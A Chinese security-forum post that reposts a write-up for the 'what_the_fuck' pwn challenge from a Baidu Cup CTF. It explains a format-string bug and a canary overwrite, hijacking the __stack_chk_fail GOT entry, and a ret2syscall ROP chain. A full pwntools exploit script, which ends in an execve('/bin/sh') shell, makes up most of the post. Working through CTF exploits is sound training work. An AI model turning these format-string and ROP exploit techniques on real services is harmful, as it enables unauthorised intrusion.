安全矩阵

 找回密码
 立即注册
搜索
查看: 2232|回复: 0

“百度杯”CTF比赛 十二月场what_the_fuck

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-3-31 16:11:05 | 显示全部楼层 |阅读模式
本帖最后由 Xor0ne 于 2020-3-31 16:25 编辑

what_the_fuck


来自于:i春秋


题目内容:
nc 106.75.2.53 10005

附件下载:


Writeup

来源于:https://www.ichunqiu.com/writeup/detail/521

  1. ➜  workspace file what_the_fuck
  2. what_the_fuck: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f5874ff98d454f054743d010a0456a89f09aa535, stripped
  3. ➜  workspace checksec what_the_fuck
  4. [*] '/Users/apple/Binary/CTF/Shooting/ichun/Pwn/what_the_fuck/workspace/what_the_fuck'
  5.     Arch:     amd64-64-little
  6.     RELRO:    Partial RELRO
  7.     Stack:    Canary found
  8.     NX:       NX enabled
  9.     PIE:      No PIE (0x400000)
复制代码



题目开启了NX与Canary,并且在题目中在sub_4008C5存在一个format string,并且read时可以越界写到Canary,触发__stack_chk_fail。

unsigned __int64 sub_4008C5()
{
  char s; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  printf("leave a msg: ");
  memset(&s, 0, 16uLL);
  read(0, &s, 0x20uLL);                         // stack overflow leak Canary
  if ( strstr(&s, "%p") || strstr(&s, "$p") )
  {
    puts("do you want to leak info?");
    exit(0);
  }
  printf(&s, "$p");                             // format string
  return __readfsqword(0x28u) ^ v2;
}




首先需要劫持控制流,利用printf任意地址写,但是在printf函数中,程序结束....一开始想到写.fini段,但是发现不可行
于是,结合read可写Canry,我们可改写`__stack_chk_fail@`的GOT表地址为main函数地址,每次改写Canary触发check现程序循环运行
这样我们可无限利用fromat-string进行任意读写



依旧是题目没有提供libc,并且泄露lbc version不可行,只能利用ret2syscall
需要在栈中利用 Init 中的通用RopGadgets布置RopChain


  1. .text:0000000000400A60                 mov     rdx, r13
  2. .text:0000000000400A63                 mov     rsi, r14
  3. .text:0000000000400A66                 mov     edi, r15d
  4. .text:0000000000400A69                 call    qword ptr [r12+rbx*8]
  5. .text:0000000000400A6D                 add     rbx, 1
  6. .text:0000000000400A71                 cmp     rbx, rbp
  7. .text:0000000000400A74                 jnz     short loc_400A60
  8. .text:0000000000400A76
  9. .text:0000000000400A76 loc_400A76:                             ; CODE XREF: init+36↑j
  10. .text:0000000000400A76                 add     rsp, 8
  11. .text:0000000000400A7A                 pop     rbx
  12. .text:0000000000400A7B                 pop     rbp
  13. .text:0000000000400A7C                 pop     r12
  14. .text:0000000000400A7E                 pop     r13
  15. .text:0000000000400A80                 pop     r14
  16. .text:0000000000400A82                 pop     r15
复制代码



由于每次都会触发`__stack_chk_fail`,程序堆栈

由于栈空间不断向下增长,而当sub_4008C5中不再触发check时,则会逐层返回

所以我们就利用无限写的能力在栈上布置Ropchain


在该过程中,充分利用我们可控的栈空间,即输入的$s与输入的&name,其余不可控的栈空间,我们利用format string布置即可

最终栈中的效果如下图:




  • 泄露read地址,确定syscall地址

  • 通过read(0,&bss,0x3b)将"/bin/sh"与syscall地址写入.bss段

  • 通过syscall并利用read的返回值0x3b,执行`execve(“/bin/sh\x00”,NULL,NULL)





#/usr/bin/env python
from pwn import *

'''
def leak(address):
    io.recvuntil('input your name: ')
    sleep(0.1)
    io.sendline('xing')
    sleep(0.1)

    # leak read_addr
    payload = 'aaaa%8$s'
    payload += 'bbbbbbbb'
    payload += p64(address)
    payload = payload.ljust(0x20,'c')
    msg(payload)
    io.recvuntil('aaaa')
    content = io.recvuntil('bbbbbbbb',drop=True)
    if(len(content) == 0):
        log.info('{0} ==> NULL'.format(hex(address)))
        return "\x00"
    else:
        log.info("%#x ==> %s" % (address,(content or '').encode('hex')))
        return content
'''

def msg(payload):
    io.recvuntil('leave a msg: ')
    io.send(payload)

def cycle(number):
    if number>20:
        return number
    else:
        number = number+0x100
        return number

def exploit():
    io.recvuntil('input your name: ')
    io.sendline(p64(elf.got['__stack_chk_fail']))

    # Hijack _stack_chk_fail => main
    #gdb.attach(io, 'b *0x400963')
    payload = "%"+str(0x983)+'c%12$hn'+'AA%9$s'
    payload = payload.ljust(0x18,'c')
    payload += p64(elf.got['read'])
    #trigger _stack_chk_fail to ROP
    msg(payload)
    io.recvuntil('AA')
    read = u64(io.recvuntil('\x7f').ljust(0x8,"\x00"))
    log.info('read_addr:'+hex(read))

    syscall = read+0xe
    log.info('syscall:'+hex(syscall))

    #d = DynELF(leak,elf=ELF('./what_the_fuck'))
    #system_addr = d.lookup('system','libc')
    #log.info('system_addr:'+hex(system_addr))

    io.recvuntil('input your name: ')
    io.sendline('xing')

    payload = 'A'*10+'%10$ldCC'
    payload = payload.ljust(0x20,'B')
    msg(payload)
    io.recvuntil('A'*10)
    stack_addr = int(io.recvuntil('CC',drop=True),10)
    log.info('stack_addr:'+hex(stack_addr))

    io.recvuntil('input your name: ')
    io.sendline('xingxing')
    payload = p64(0)+p64(0x6010A0)+p64(0x400a60)
    payload += 'A'*0x8
    msg(payload)

    io.recvuntil('input your name: ')
    io.sendline(p64(0x400a60))
    payload = p64(0)+p64(1)+p64(elf.got['read'])+p64(0x3B)
    msg(payload)

    bss_addr = 0x6010A0
    temp = stack_addr-0xf0
    log.info('modify {0} ==> {1}'.format(hex(temp),hex(bss_addr)))
    for i in range(8):
        io.recvuntil('input your name: ')
        io.sendline('xing')
        payload = '%'+str(cycle((bss_addr>>(8*i))&0xff))+'c%9$hhn'
        payload = payload.ljust(0x18,'A')
        payload += p64(temp+i)
        msg(payload)

    temp = stack_addr-0xe8
    log.info('modify {0} ==> {1}'.format(hex(temp),hex(0)))
    for i in range(8):
        io.recvuntil('input your name: ')
        io.sendline('xing')
        payload = '%'+str(cycle(0))+'c%9$hhn'
        payload = payload.ljust(0x18,'A')
        payload += p64(temp+i)
        msg(payload)

    temp = stack_addr-0xd0
    log.info('modify {0} ==> {1}'.format(hex(temp),hex(0)))
    for i in range(8):
        io.recvuntil('input your name: ')
        io.sendline('xing')
        payload = '%'+str(cycle(0))+'c%9$hhn'
        payload = payload.ljust(0x18,'A')
        payload += p64(temp+i)
        msg(payload)

    temp = stack_addr-0xb8-0x60
    address = 0x400A7A
    log.info('modify {0} ==> {1}'.format(hex(temp),hex(address)))
    for i in range(8):
        io.recvuntil('input your name: ')
        io.sendline('xing')
        payload = '%'+str(cycle((address>>(8*i))&0xff))+'c%9$hhn'
        payload = payload.ljust(0x18,'A')
        payload += p64(temp+i)
        msg(payload)

    syscall_addr = 0x6010A8
    temp = stack_addr-0xc0
    log.info('modify {0} ==> {1}'.format(hex(temp),hex(syscall_addr)))
    for i in range(8):
        io.recvuntil('input your name: ')
        io.sendline('xing')
        payload = '%'+str(cycle((syscall_addr>>(8*i))&0xff))+'c%9$hhn'
        payload = payload.ljust(0x18,'A')
        payload += p64(temp+i)
        msg(payload)

    temp = stack_addr-0xb8
    log.info('modify {0} ==> {1}'.format(hex(temp),hex(0)))
    for i in range(8):
        io.recvuntil('input your name: ')
        io.sendline('xing')
        payload = '%'+str(cycle(0))+'c%9$hhn'
        payload = payload.ljust(0x18,'A')
        payload += p64(temp+i)
        msg(payload)

    io.recvuntil('input your name: ')
    io.sendline('xing')
    msg('ROP')
    io.recvuntil('ROP')
    raw_input('Go?')

    payload = "/bin/sh\x00"+p64(syscall)
    payload = payload.ljust(0x3b,'a')
    io.send(payload)

    io.interactive()

if __name__ == '__main__':
    context.binary = './what_the_fuck'
    #context.log_level = 'debug'
    context.terminal = ['tmux','sp','-h']
    elf = ELF('./what_the_fuck')
    if len(sys.argv)>1:
        io = remote(sys.argv[1],sys.argv[2])
        exploit()
    else:
        io = process('./what_the_fuck')
        exploit()








本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 20:07 , Processed in 0.015692 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表